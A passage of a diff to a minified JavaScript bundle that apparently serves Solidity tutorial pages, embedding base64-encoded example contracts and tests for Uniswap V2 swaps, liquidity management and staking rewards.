KHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Rb=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    Code is a stripped down version of Synthetix StakingRewards.sol

                    Staking Rewards

                    // SPDX-License-Identifier: MIT
                    @@ -5547,7 +5547,7 @@ Topics
                             external
                             returns (bool);
                     }
                    -
                    `,vb=({prev:s,next:a})=>r.jsx(A,{version:Bb,title:Gb,description:fb,cyfrinLink:Vb,html:Xb,prev:s,next:a,codes:Yb}),Rb="0.8.26",Nb="Uniswap V2 Swap",Hb="Uniswap V2 swap",Fb="",Kb=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgI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Rva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKCiAgICBmdW5jdGlvbiBzd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heCwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1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vdW50T3V0TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgIGZ1bmN0aW9uIHRlc3RTd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICB1aW50MjU2IGRhaUFtb3VudERlc2lyZWQgPSAxZTE4OwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dChkYWlBbW91bnREZXNpcmVkLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],Mb=`

                    swapExactTokensForTokens sells all tokens for another.

                    +`,vb=({prev:s,next:a})=>r.jsx(A,{version:Bb,title:fb,description:Vb,cyfrinLink:Yb,html:Rb,prev:s,next:a,codes:Xb}),Nb="0.8.26",Hb="Uniswap V2 Swap",Kb="Uniswap V2 swap",Fb="",Mb=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXN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2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudE91dERlc2lyZWQsIGFtb3VudEluTWF4LCBwYXRoLCBtc2cuc2VuZGVyLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBSZWZ1bmQgV0VUSCB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwK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ubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],Sb=`

                    swapExactTokensForTokens sells all tokens for another.

                    swapTokensForExactTokens buys specific amount of tokens set by the caller.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                    @@ -5799,7 +5799,7 @@ Topics
                             );
                         }
                     }
                    -
                    `,Sb=({prev:s,next:a})=>r.jsx(A,{version:Rb,title:Nb,description:Hb,cyfrinLink:Fb,html:Mb,prev:s,next:a,codes:Kb}),xb="0.8.26",Jb="Uniswap V2 Add Remove Liquidity",zb="Uniswap V2 add remove liquidity",Db="",Eb=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZGRyZXNzIF90b2tlbkEsIGFkZHJlc3MgX3Rva2VuQikgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgcGFpciA9IElVbmlzd2FwVjJGYWN0b3J5KEZBQ1RPUlkpLmdldFBhaXIoX3Rva2VuQSwgX3Rva2VuQik7CgogICAgICAgIHVpbnQyNTYgbGlxdWlkaXR5ID0gSUVSQzIwKHBhaXIpLmJhbGFuY2VPZihh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CiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCi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BhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],Qb=`

                    Add / Remove Liquidity

                    +`,xb=({prev:s,next:a})=>r.jsx(A,{version:Nb,title:Hb,description:Kb,cyfrinLink:Fb,html:Sb,prev:s,next:a,codes:Mb}),Jb="0.8.26",zb="Uniswap V2 Add Remove Liquidity",Db="Uniswap V2 add remove 